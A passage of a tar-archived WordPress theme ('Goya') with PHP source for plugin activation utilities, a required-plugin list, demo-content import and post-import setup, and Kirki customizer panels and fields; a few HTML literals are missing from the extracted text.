after_flush_output() { _deprecated_function( __FUNCTION__, 'TGMPA 2.5.0', 'Bulk_Upgrader_Skin::flush_output()' ); $this->flush_output(); $this->i++; } } } } } } if ( ! class_exists( 'TGMPA_Utils' ) ) { /** * Generic utilities for TGMPA. * * All methods are static, poor-dev name-spacing class wrapper. * * Class was called TGM_Utils in 2.5.0 but renamed TGMPA_Utils in 2.5.1 as this was conflicting with Soliloquy. * * @since 2.5.0 * * @package TGM-Plugin-Activation * @author Juliette Reinders Folmer */ class TGMPA_Utils { /** * Whether the PHP filter extension is enabled. * * @see http://php.net/book.filter * * @since 2.5.0 * * @static * * @var bool $has_filters True is the extension is enabled. */ public static $has_filters; /** * Wrap an arbitrary string in tags. Meant to be used in combination with array_map(). * * @since 2.5.0 * * @static * * @param string $string Text to be wrapped. * @return string */ public static function wrap_in_em( $string ) { return '' . wp_kses_post( $string ) . ''; } /** * Wrap an arbitrary string in tags. Meant to be used in combination with array_map(). * * @since 2.5.0 * * @static * * @param string $string Text to be wrapped. * @return string */ public static function wrap_in_strong( $string ) { return '' . wp_kses_post( $string ) . ''; } /** * Helper function: Validate a value as boolean * * @since 2.5.0 * * @static * * @param mixed $value Arbitrary value. * @return bool */ public static function validate_bool( $value ) { if ( ! isset( self::$has_filters ) ) { self::$has_filters = extension_loaded( 'filter' ); } if ( self::$has_filters ) { return filter_var( $value, FILTER_VALIDATE_BOOLEAN ); } else { return self::emulate_filter_bool( $value ); } } /** * Helper function: Cast a value to bool * * @since 2.5.0 * * @static * * @param mixed $value Value to cast. * @return bool */ protected static function emulate_filter_bool( $value ) { // @codingStandardsIgnoreStart static $true = array( '1', 'true', 'True', 'TRUE', 'y', 'Y', 'yes', 'Yes', 'YES', 'on', 'On', 'ON', ); static $false = array( '0', 'false', 'False', 'FALSE', 'n', 'N', 'no', 'No', 'NO', 'off', 'Off', 'OFF', ); // @codingStandardsIgnoreEnd if ( is_bool( $value ) ) { return $value; } elseif ( is_int( $value ) && ( 0 === $value || 1 === $value ) ) { return (bool) $value; } elseif ( ( is_float( $value ) && ! is_nan( $value ) ) && ( (float) 0 === $value || (float) 1 === $value ) ) { return (bool) $value; } elseif ( is_string( $value ) ) { $value = trim( $value ); if ( in_array( $value, $true, true ) ) { return true; } elseif ( in_array( $value, $false, true ) ) { return false; } else { return false; } } return false; } } // End of class TGMPA_Utils } // End of class_exists wrapper admin/plugins/plugins.php000064400000011506151546501460011521 0ustar00 esc_html__('Goya Core', 'goya'), 'slug' => 'goya-core', 'source' => 'https://goya.b-cdn.net/assets/plugins/v25-dkk3dkfsx/goya-core.zip', 'required' => true, 'version' => '1.0.7', 'force_activation' => false, 'force_deactivation' => false, 'external_url' => '' ), array( 'name' => esc_html__('Envato Market (theme updates)', 'goya'), 'slug' => 'envato-market', 'source' => 'https://envato.github.io/wp-envato-market/dist/envato-market.zip', 'required' => false, 'version' => '2.0.7', 'force_activation' => false, 'force_deactivation' => false, 'external_url' => '' ), array( 'name' => esc_html__('WPBakery Visual Composer', 'goya'), 'slug' => 'js_composer', 'source' => 'https://goya.b-cdn.net/assets/plugins/v25-dkk3dkfsx/js_composer.zip', 'required' => false, 'version' => '6.10.0', 'force_activation' => false, 'force_deactivation' => false, 'external_url' => '' ), array( 'name' => esc_html__('WC Ajax Product Filters', 'goya'), 'slug' => 'wc-ajax-product-filter', 'source' => 'https://goya.b-cdn.net/assets/plugins/v25-dkk3dkfsx/wc-ajax-product-filter.zip', 'required' => false, 'version' => '4.1.0', 'force_activation' => false, 'force_deactivation' => false, 'external_url' => '' ), array( 'name' => esc_html__('Slider Revolution', 'goya'), 'slug' => 'revslider', 'source' => 'https://goya.b-cdn.net/assets/plugins/v25-dkk3dkfsx/revslider.zip', 'required' => false, 'version' => '6.6.8', 'force_activation' => false, 'force_deactivation' => false, 'external_url' => '' ), // Include plugins from the WordPress Plugin Repository array( 'name' => esc_html__('Kirki Toolkit', 'goya'), 'slug' => 'kirki', 'required' => true, 'force_activation' => false, 'force_deactivation' => false, ), array( 'name' => esc_html__('Meta Box ', 'goya'), 'slug' => 'meta-box', 'required' => false, 'force_activation' => false, 'force_deactivation' => false, ), array( 'name' => esc_html__('WooCommerce', 'goya'), 'slug' => 'woocommerce', 'required' => false, 'force_activation' => false, 'force_deactivation' => false, ), array( 'name' => esc_html__('YITH WooCommerce Wishlist', 'goya'), 'slug' => 'yith-woocommerce-wishlist', 'required' => false, 'force_activation' => false, 'force_deactivation' => false, ), array( 'name' => esc_html__('WooCommerce Variation Swatches', 'goya'), 'slug' => 'woo-variation-swatches', 'required' => false, 'force_activation' => false, 'force_deactivation' => false, ), array( 'name' => esc_html__('Ninja Forms', 'goya'), 'slug' => 'ninja-forms', 'required' => false, 'force_activation' => false, 'force_deactivation' => false, ), array( 'name' => esc_html__('Mailchimp for WordPress', 'goya'), 'slug' => 'mailchimp-for-wp', 'required' => false, 'force_activation' => false, 'force_deactivation' => false, ), ); $config = array( 'id' => 'et-framework', 'default_path' => '', // Default absolute path to pre-packaged plugins 'parent_slug' => 'themes.php', 'menu' => 'install-required-plugins', // Menu slug 'has_notices' => true, // Show admin notices or not 'dismissable' => true, // If false, a user cannot dismiss the nag message. 'dismiss_msg' => '', // If 'dismissable' is false, this message will be output at top of nag. 'is_automatic' => true, // Automatically activate plugins after installation or not. 'message' => '

    Install the following required or recommended plugins to get complete functionality from your new theme.

    ', // Message to output right before the plugins table. 'strings' => array( 'return' => esc_html__( 'Return to Theme Plugins', 'goya' ) ) ); tgmpa($plugins, $config); } add_action('tgmpa_register', 'goya_register_required_plugins');admin/imports/import.php000064400000017053151546501460011371 0ustar00 'basic-v1', 'name' => esc_html__('Basic (faster)', 'goya'), 'url' => 'demo-basic/', 'home' => 'Home - Classic', 'content' => 'basic-v1', 'revslider' => 'basic-v1' ), array( 'id' => 'decor-v1', 'name' => esc_html__('Decoration', 'goya'), 'url' => 'demo-decor/', 'home' => 'Home - Classic', 'content' => 'decor-v1', 'revslider' => 'decor-v3' ), array( 'id' => 'fashion-v1', 'name' => esc_html__('Fashion', 'goya'), 'url' => 'demo-fashion/', 'home' => 'Home - Classic', 'content' => 'fashion-v1', 'revslider' => 'fashion-v2' ), ); function goya_ocdi_import_files() { global $goya_demo_list; $url = 'https://goya.everthemes.com/'; $path = 'https://goya.b-cdn.net/assets/demo/content/'; foreach ($goya_demo_list as $params) { $import[] = array( 'import_file_name' => $params['name'], 'import_file_url' => $path . $params['content'] . '/content-'. $params['content'] .'.xml', 'import_widget_file_url' => $path . $params['content'] . '/widgets-'. $params['content'] .'.wie', 'import_customizer_file_url' => $path . $params['content'] . '/customizer-'. $params['content'] .'.dat', 'import_rev_slider_file_url' => $path . $params['content'] . '/revslider-'. $params['revslider'] .'.zip', 'import_preview_image_url' => $path . $params['id'] . '/preview-'. $params['id'] .'.jpg', 'preview_url' => $url . $params['url'], ); } return $import; } add_filter( 'pt-ocdi/import_files', 'goya_ocdi_import_files' ); if( extension_loaded('imagick') || class_exists('Imagick') ){ // disable thumbnail regeneration add_filter( 'pt-ocdi/regenerate_thumbnails_in_content_import', '__return_false' ); add_filter( 'merlin_regenerate_thumbnails_in_content_import', '__return_false' ); } function goya_ocdi_after_import( $selected_import ) { global $goya_demo_list; // Assign menus to their locations. $navigation = get_term_by('name', 'Main', 'nav_menu'); $topbar = get_term_by('name', 'Top Bar', 'nav_menu'); $footer = get_term_by('name', 'Footer', 'nav_menu'); $secondary = get_term_by('name', 'Secondary', 'nav_menu'); set_theme_mod( 'nav_menu_locations' , array( 'primary-menu' => $navigation->term_id, 'topbar-menu' => $topbar->term_id, 'secondary-menu' => $secondary->term_id, 'fullscreen-menu' => $navigation->term_id, 'mobile-menu' => $navigation->term_id, 'footer-menu' => $footer->term_id ) ); // Assign front, blog and WooCommerce pages. $home = get_page_by_path('home'); $blog = get_page_by_path('blog'); // Override home and blog pages according to demo ID $home = get_page_by_title($goya_demo_list[$selected_import]['home']); if ($selected_import == 2) { $blog = get_page_by_path('journal'); } // Delete duplicates $pages2 = array('cart','checkout','my-account','wishlist'); foreach ($pages2 as $p2) { $p = get_page_by_path($p2 . '-2'); if ($p) { wp_delete_post( $p->ID, true); } } // Get Shop page $shop2 = get_page_by_path('shop-2'); if ($shop2) { $shop1 = get_page_by_path('shop'); wp_delete_post( $shop1->ID, true); wp_update_post([ 'post_name' => 'shop', 'ID' => $shop2->ID, ]); } $shop = get_page_by_path('shop'); $cart = get_page_by_path('cart'); $checkout = get_page_by_path('checkout'); $wishlist = get_page_by_path('wishlist'); $myaccount = get_page_by_path('my-account'); update_option( 'show_on_front', 'page' ); update_option( 'page_on_front', $home->ID ); update_option( 'page_for_posts', $blog->ID ); update_option( 'woocommerce_myaccount_page_id', $myaccount->ID ); update_option( 'woocommerce_shop_page_id', $shop->ID ); update_option( 'woocommerce_cart_page_id', $cart->ID ); update_option( 'woocommerce_checkout_page_id', $checkout->ID ); update_option( 'general-show_notice', ''); // Yith Wishlist if ( class_exists( 'YITH_WCWL_Frontend' ) ) { remove_action( 'wp_head', array( YITH_WCWL_Frontend(), 'add_button' ) ); update_option( 'yith_wcwl_show_on_loop', 'yes'); update_option( 'yith_wcwl_button_position', 'shortcode'); update_option( 'yith_wcwl_loop_position', 'shortcode'); update_option( 'add_to_wishlist-position', 'shortcode'); update_option( 'add_to_wishlist_catalog-position', 'shortcode'); update_option( 'yith_wcwl_rounded_corners', 0); update_option( 'yith_wcwl_price_show', 'yes'); update_option( 'yith_wcwl_add_to_cart_show', 'yes'); update_option( 'yith_wcwl_show_remove', 'yes'); update_option( 'yith_wcwl_repeat_remove_button', 'yes'); update_option( 'yith_wcwl_wishlist_page_id', $wishlist->ID ); } // WC Ajax Product Filters $wcapf = get_option('wcapf_settings'); $wcapf['shop_loop_container'] = '.wcapf-before-products'; $wcapf['not_found_container'] = '.wcapf-before-products'; $wcapf['pagination_container'] = '.woocommerce-pagination'; $wcapf['overlay_bg_color'] = '#fff'; $wcapf['sorting_control'] = '1'; $wcapf['scroll_to_top'] = '1'; $wcapf['scroll_to_top_offset'] = '150'; $wcapf['custom_scripts'] = ''; $wcapf['disable_transients'] = ''; update_option('wcapf_settings', $wcapf); // Ninja Forms $ninjaf = get_option('ninja_forms'); $ninjaf['opinionated_styles'] = ''; update_option('ninja_forms', $ninjaf); // ARG Multistep Checkout $argmc = get_option('arg-mc-options'); $argmc['tabs_layout'] = 'tabs-progress-bar'; update_option('arg-mc-options', $argmc); // We no longer need to install pages for WooCommerce delete_option( '_wc_needs_pages' ); delete_transient( '_wc_activation_redirect' ); // Flush rules after install flush_rewrite_rules(); global $wpdb; // Change attribute types $table_name = $wpdb->prefix . 'woocommerce_attribute_taxonomies'; $wpdb->query( "UPDATE `$table_name` SET `attribute_type` = 'color' WHERE `attribute_name` = 'color'" ); $wpdb->query( "UPDATE `$table_name` SET `attribute_type` = 'image' WHERE `attribute_name` = 'pattern'" ); $wpdb->query( "UPDATE `$table_name` SET `attribute_type` = 'button' WHERE `attribute_name` = 'size'" ); } add_action( 'pt-ocdi/after_import', 'goya_ocdi_after_import' ); /* Disable Branding */ add_filter( 'pt-ocdi/disable_pt_branding', '__return_true' ); /* Intro text */ function goya_ocdi_plugin_intro_text( $default_text ) { ob_start(); ?>

    true, ), $config ); } add_filter( 'kirki_config', 'goya_kirki_config_style' ); $sep = 0; // Animations array $goya_animations_list = array( '' => esc_html__('None', 'goya'), 'animation right-to-left' => esc_html__('Right to Left', 'goya'), 'animation left-to-right' => esc_html__('Left to Right', 'goya'), 'animation right-to-left-3d' => esc_html__('Right to Left - 3D', 'goya'), 'animation left-to-right-3d' => esc_html__('Left to Right - 3D', 'goya'), 'animation bottom-to-top' => esc_html__('Bottom to Top', 'goya'), 'animation top-to-bottom' => esc_html__('Top to Bottom', 'goya'), 'animation bottom-to-top-3d' => esc_html__('Bottom to Top - 3D', 'goya'), 'animation top-to-bottom-3d' => esc_html__('Top to Bottom - 3D', 'goya'), 'animation scale' => esc_html__('Scale', 'goya'), 'animation fade' => esc_html__('Fade', 'goya'), ); // Replace bundled Jost with Google version $main_font = get_theme_mod( 'main_font', array() ); $main_font_family = isset($main_font['font-family']) ? $main_font['font-family'] : ''; $second_font = get_theme_mod( 'second_font', array() ); $second_font_family = isset($second_font['font-family']) ? $second_font['font-family'] : ''; if ($main_font_family == 'Jost, sans-serif') { set_theme_mod( 'main_font' , array( 'font-family' => 'Jost', ) ); } if ($second_font_family == 'Jost, sans-serif') { set_theme_mod( 'second_font' , array( 'font-family' => 'Jost', ) ); } // Migrate campaign to new version /*$old_campaign = get_theme_mod( 'campaign_bar_content', '' ); if (!empty($old_campaign)) { set_theme_mod( 'campaign_bar_items' , array( array( 'campaign_text' => strip_tags($old_campaign), ) ) ); }*/ // Google fonts lists function goya_main_font_choices() { return apply_filters( 'goya_main_font_choices', array( 'fonts' => array( 'google' => array( 'popularity', 700 ), ), ) ); } function goya_second_font_choices() { return apply_filters( 'goya_second_font_choices', array( 'fonts' => array( 'google' => array( 'popularity', 700 ), ), ) ); } function goya_social_media_icons() { return apply_filters( 'goya_social_media_icons', array( '' => esc_html__( '', 'goya' ), 'facebook' => esc_html__( 'Facebook', 'goya' ), 'twitter' => esc_html__( 'Twitter', 'goya' ), 'instagram' => esc_html__( 'Instagram', 'goya' ), 'googleplus' => esc_html__( 'Google+', 'goya' ), 'pinterest' => esc_html__( 'Pinterest', 'goya' ), 'linkedin' => esc_html__( 'LinkedIn', 'goya' ), 'rss' => esc_html__( 'RSS', 'goya' ), 'email' => esc_html__( 'Email', 'goya' ), 'tumblr' => esc_html__( 'Tumblr', 'goya' ), 'youtube' => esc_html__( 'Youtube', 'goya' ), 'vimeo' => esc_html__( 'Vimeo', 'goya' ), 'behance' => esc_html__( 'Behance', 'goya' ), 'dribbble' => esc_html__( 'Dribbble', 'goya' ), 'flickr' => esc_html__( 'Flickr', 'goya' ), 'github' => esc_html__( 'GitHub', 'goya' ), 'skype' => esc_html__( 'Skype', 'goya' ), 'whatsapp' => esc_html__( 'WhatsApp', 'goya' ), 'telegram' => esc_html__( 'Telegram', 'goya' ), 'snapchat' => esc_html__( 'Snapchat', 'goya' ), 'wechat' => esc_html__( 'WeChat', 'goya' ), 'weibo' => esc_html__( 'Weibo', 'goya' ), 'foursquare' => esc_html__( 'Foursquare', 'goya' ), 'soundcloud' => esc_html__( 'Soundcloud', 'goya' ), 'vk' => esc_html__( 'VK', 'goya' ), 'tiktok' => esc_html__( 'TikTok', 'goya' ), 'phone' => esc_html__( 'Phone', 'goya' ), 'map-marker' => esc_html__( 'Map Pin', 'goya' ), 'spotify' => esc_html__( 'Spotify', 'goya' ), ) ); } function goya_topbar_elements_list() { return apply_filters( 'goya_topbar_elements_list', array( 'menu' => esc_html__( 'Menu Top Bar', 'goya' ), 'currency' => esc_html__( 'Currency Selector', 'goya' ), 'language' => esc_html__( 'Language Selector', 'goya' ), 'social' => esc_html__( 'Social Icons', 'goya' ), 'text' => esc_html__( 'Text 1', 'goya' ), 'text2' => esc_html__( 'Text 2', 'goya' ), 'text3' => esc_html__( 'Text 3', 'goya' ), 'search' => esc_html__( 'Search Icon', 'goya' ), 'search-box' => esc_html__( 'Search Box', 'goya' ), 'cart' => esc_html__( 'Cart Icon', 'goya' ), 'hamburger' => esc_html__( 'Hamburger Icon', 'goya' ), 'wishlist' => esc_html__( 'Wishlist Icon', 'goya' ), 'account' => esc_html__( 'Account Link', 'goya' ), ) ); } function goya_header_elements_list() { return apply_filters( 'goya_header_elements_list', array( 'logo' => esc_html__( 'Logo', 'goya' ), 'account' => esc_html__( 'Account Link', 'goya' ), 'cart' => esc_html__( 'Cart Icon', 'goya' ), 'currency' => esc_html__( 'Currency Selector', 'goya' ), 'hamburger' => esc_html__( 'Hamburger Icon', 'goya' ), 'language' => esc_html__( 'Language Selector', 'goya' ), 'menu-primary' => esc_html__( 'Menu Primary', 'goya' ), 'menu-secondary' => esc_html__( 'Menu Secondary', 'goya' ), 'search' => esc_html__( 'Search Icon', 'goya' ), 'search-box' => esc_html__( 'Search Box', 'goya' ), 'social' => esc_html__( 'Social Icons', 'goya' ), 'text' => esc_html__( 'Text 1', 'goya' ), 'text2' => esc_html__( 'Text 2', 'goya' ), 'text3' => esc_html__( 'Text 3', 'goya' ), 'wishlist' => esc_html__( 'Wishlist Icon', 'goya' ), ) ); } function goya_footer_elements_list() { return apply_filters( 'goya_footer_elements_list', array( 'copyright' => esc_html__( 'Copyright', 'goya' ), 'currency' => esc_html__( 'Currency Selector', 'goya' ), 'currency_language' => esc_html__( 'Currency & Language Selector', 'goya' ), 'language' => esc_html__( 'Language Selector', 'goya' ), 'menu' => esc_html__( 'Menu Footer', 'goya' ), 'social' => esc_html__( 'Social Icons', 'goya' ), 'text' => esc_html__( 'Text 1', 'goya' ), 'text2' => esc_html__( 'Text 2', 'goya' ), ) ); } function goya_mobile_header_elements_list() { return apply_filters( 'goya_mobile_header_elements_list', array( 'cart' => esc_html__( 'Cart', 'goya' ), 'account' => esc_html__( 'Account', 'goya' ), 'search' => esc_html__( 'Search', 'goya' ), 'wishlist' => esc_html__( 'Wishlist', 'goya' ), 'currency' => esc_html__( 'Currency Selector', 'goya' ), 'language' => esc_html__( 'Language Selector', 'goya' ), 'text' => esc_html__( 'Text 1', 'goya' ), ) ); } function goya_vertical_bar_elements_list() { return apply_filters( 'goya_vertical_bar_elements_list', array( 'cart' => esc_html__( 'Cart', 'goya' ), 'account' => esc_html__( 'Account', 'goya' ), 'search' => esc_html__( 'Search', 'goya' ), 'wishlist' => esc_html__( 'Wishlist', 'goya' ), ) ); } function goya_mobile_menu_elements_list() { return apply_filters( 'goya_mobile_menu_elements_list', array( 'cart' => esc_html__( 'Cart', 'goya' ), 'account' => esc_html__( 'Account', 'goya' ), 'currency' => esc_html__( 'Currency Selector', 'goya' ), 'language' => esc_html__( 'Language Selector', 'goya' ), 'social' => esc_html__( 'Social Icons', 'goya' ), 'wishlist' => esc_html__( 'Wishlist', 'goya' ), 'text' => esc_html__( 'Text 1', 'goya' ), 'text2' => esc_html__( 'Text 2', 'goya' ), 'text3' => esc_html__( 'Text 3', 'goya' ), 'divider1' => '––––––', 'divider2' => '––––––', 'divider3' => '––––––', 'divider4' => '––––––', ) ); } add_action( 'customize_register','goya_customizer' ); function goya_customizer( $wp_customize ) { // Add Panels $wp_customize->add_panel( 'panel_general', array( 'title' => esc_html__( 'General', 'goya' ), 'priority' => 5, 'capability' => 'edit_theme_options', ) ); $wp_customize->add_panel( 'panel_style', array( 'title' => esc_html__( 'Theme Styles', 'goya' ), 'priority' => 5, 'capability' => 'edit_theme_options', ) ); $wp_customize->add_panel( 'panel_header', array( 'title' => esc_html__( 'Header', 'goya' ), 'priority' => 5, 'capability' => 'edit_theme_options', ) ); $wp_customize->add_panel( 'panel_footer', array( 'title' => esc_html__( 'Footer', 'goya' ), 'priority' => 5, 'capability' => 'edit_theme_options', ) ); $wp_customize->add_panel( 'panel_shop', array( 'title' => esc_html__( 'Shop', 'goya' ), 'priority' => 5, 'capability' => 'edit_theme_options', ) ); $wp_customize->add_panel( 'panel_product', array( 'title' => esc_html__( 'Single Product', 'goya' ), 'priority' => 5, 'capability' => 'edit_theme_options', ) ); $wp_customize->add_panel( 'panel_blog', array( 'title' => esc_html__( 'Blog', 'goya' ), 'priority' => 5, 'capability' => 'edit_theme_options', ) ); $wp_customize->add_panel( 'panel_portfolio', array( 'title' => esc_html__( 'Portfolio', 'goya' ), 'priority' => 5, 'capability' => 'edit_theme_options', ) ); } if ( class_exists( 'Kirki' ) ) { /* Configs */ Kirki::add_config( 'goya_config', array( 'gutenberg_support' => true, 'capability' => 'edit_theme_options', 'option_type' => 'theme_mod', ) ); /* Sections */ Kirki::add_section( 'general_settings', array( 'title' => esc_html__('General Settings', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_general', ) ); Kirki::add_section( 'social_media', array( 'title' => esc_html__( 'Social Media', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_general', ) ); Kirki::add_section( 'popup', array( 'title' => esc_html__( 'Popup', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_general', ) ); Kirki::add_section( 'apis', array( 'title' => esc_html__( 'Keys & APIs', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_general', ) ); Kirki::add_section( 'language_selector', array( 'title' => esc_html__( 'Language Selector', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_general', ) ); Kirki::add_section( 'header_layout', array( 'title' => esc_html__('Header Layout', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_header', ) ); Kirki::add_section( 'header_logo', array( 'title' => esc_html__( 'Logo', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_header', ) ); Kirki::add_section( 'header_logo_size', array( 'title' => esc_html__('Header/Logo Size', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_header', ) ); Kirki::add_section( 'header_elements', array( 'title' => esc_html__( 'Header Icons', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_header', ) ); Kirki::add_section( 'top_bar', array( 'title' => esc_html__( 'Top Bar', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_header', ) ); Kirki::add_section( 'campaign', array( 'title' => esc_html__( 'Campaign Bar', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_header', ) ); Kirki::add_section( 'header_main_menu', array( 'title' => esc_html__('Main Menu Options', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_header', ) ); Kirki::add_section( 'header_offcanvas_desktop', array( 'title' => esc_html__('Off-canvas Desktop', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_header', ) ); Kirki::add_section( 'header_vertical_bar', array( 'title' => esc_html__('Vertical Icons Bar', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_header', ) ); Kirki::add_section( 'header_mobile', array( 'title' => esc_html__( 'Mobile Header', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_header', ) ); Kirki::add_section( 'header_menu_mobile', array( 'title' => esc_html__('Mobile Menu', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_header', ) ); Kirki::add_section( 'footer_setting', array( 'title' => esc_html__( 'Footer Main', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_footer', ) ); Kirki::add_section( 'footer_extra', array( 'title' => esc_html__( 'Footer Extra', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_footer', ) ); Kirki::add_section( 'footer_bottom', array( 'title' => esc_html__( 'Footer Bottom', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_footer', ) ); Kirki::add_section( 'footer_colors', array( 'title' => esc_html__( 'Footer Colors', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_footer', ) ); Kirki::add_section( 'footer_mobile', array( 'title' => esc_html__( 'Mobile', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_footer', ) ); Kirki::add_section( 'blog_list', array( 'title' => esc_html__( 'Blog Main', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_blog', ) ); Kirki::add_section( 'blog_categories', array( 'title' => esc_html__( 'Categories Menu', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_blog', ) ); Kirki::add_section( 'blog_single', array( 'title' => esc_html__( 'Single Post', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_blog', ) ); Kirki::add_section( 'blog_related', array( 'title' => esc_html__( 'Related Posts', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_blog', ) ); Kirki::add_section( 'shop_general', array( 'title' => esc_html__( 'Shop General', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_shop', ) ); Kirki::add_section( 'shop_header', array( 'title' => esc_html__( 'Shop Header', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_shop', ) ); Kirki::add_section( 'shop_listing', array( 'title' => esc_html__( 'Products Catalog', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_shop', ) ); Kirki::add_section( 'shop_filters', array( 'title' => esc_html__( 'Sidebar Filters', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_shop', ) ); Kirki::add_section( 'shop_variations', array( 'title' => esc_html__( 'Variations/Swatches', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_shop', ) ); Kirki::add_section( 'minicart_panel', array( 'title' => esc_html__( 'Mini Cart', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_shop', ) ); Kirki::add_section( 'shop_quickview', array( 'title' => esc_html__( 'Quick View', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_shop', ) ); Kirki::add_section( 'checkout', array( 'title' => esc_html__( 'Cart / Checkout', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_shop', ) ); Kirki::add_section( 'shop_progress_bar', array( 'title' => esc_html__( 'Progress Bar', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_shop', ) ); Kirki::add_section( 'shop_mobile', array( 'title' => esc_html__( 'Mobile', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_shop', ) ); Kirki::add_section( 'product_layout', array( 'title' => esc_html__( 'Product Layout', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_product', ) ); Kirki::add_section( 'product_gallery', array( 'title' => esc_html__( 'Product Gallery', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_product', ) ); Kirki::add_section( 'product_elements', array( 'title' => esc_html__( 'Product Page Elements', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_product', ) ); Kirki::add_section( 'product_size', array( 'title' => esc_html__( 'Size Guide', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_product', ) ); Kirki::add_section( 'product_related', array( 'title' => esc_html__( 'Related Products', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_product', ) ); Kirki::add_section( 'product_mobile', array( 'title' => esc_html__( 'Mobile', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_product', ) ); Kirki::add_section( 'portfolio_main', array( 'title' => esc_html__( 'Portfolio Main', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_portfolio', ) ); Kirki::add_section( 'portfolio_single', array( 'title' => esc_html__( 'Single Portfolio', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_portfolio', ) ); Kirki::add_section( 'styling', array( 'title' => esc_html__( 'Global Colors', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_style', ) ); Kirki::add_section( 'header_styles', array( 'title' => esc_html__('Header Colors', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_style', ) ); Kirki::add_section( 'shop_styles', array( 'title' => esc_html__( 'Shop Colors', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_style', ) ); Kirki::add_section( 'form_styles', array( 'title' => esc_html__( 'Form styles', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_style', ) ); Kirki::add_section( 'fonts', array( 'title' => esc_html__( 'Typography', 'goya' ), 'priority' => 10, 'capability' => 'edit_theme_options', 'panel' => 'panel_style', ) ); // ************************************** // Fields // ************************************** /** * GENERAL SETTINGS */ Kirki::add_field( 'goya_config', array( 'type' => 'radio-image', 'settings' => 'site_global_layout', 'label' => esc_html__( 'Global Site Layout', 'goya' ), 'description' => esc_html__( '1.Regular, 2. Framed', 'goya' ), 'transport' => 'postMessage', 'section' => 'general_settings', 'default' => 'regular', 'priority' => 10, 'choices' => array( 'regular' => get_template_directory_uri() . '/assets/img/admin/options/layout-normal.png', 'framed' => get_template_directory_uri() . '/assets/img/admin/options/layout-framed.png', ), 'js_vars' => array( array( 'element' => 'body', 'function' => 'toggleClass', 'class' => 'et-site-layout-regular', 'value' => 'regular', ), array( 'element' => 'body', 'function' => 'toggleClass', 'class' => 'et-site-layout-framed', 'value' => 'framed', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'general_settings', 'default' => '
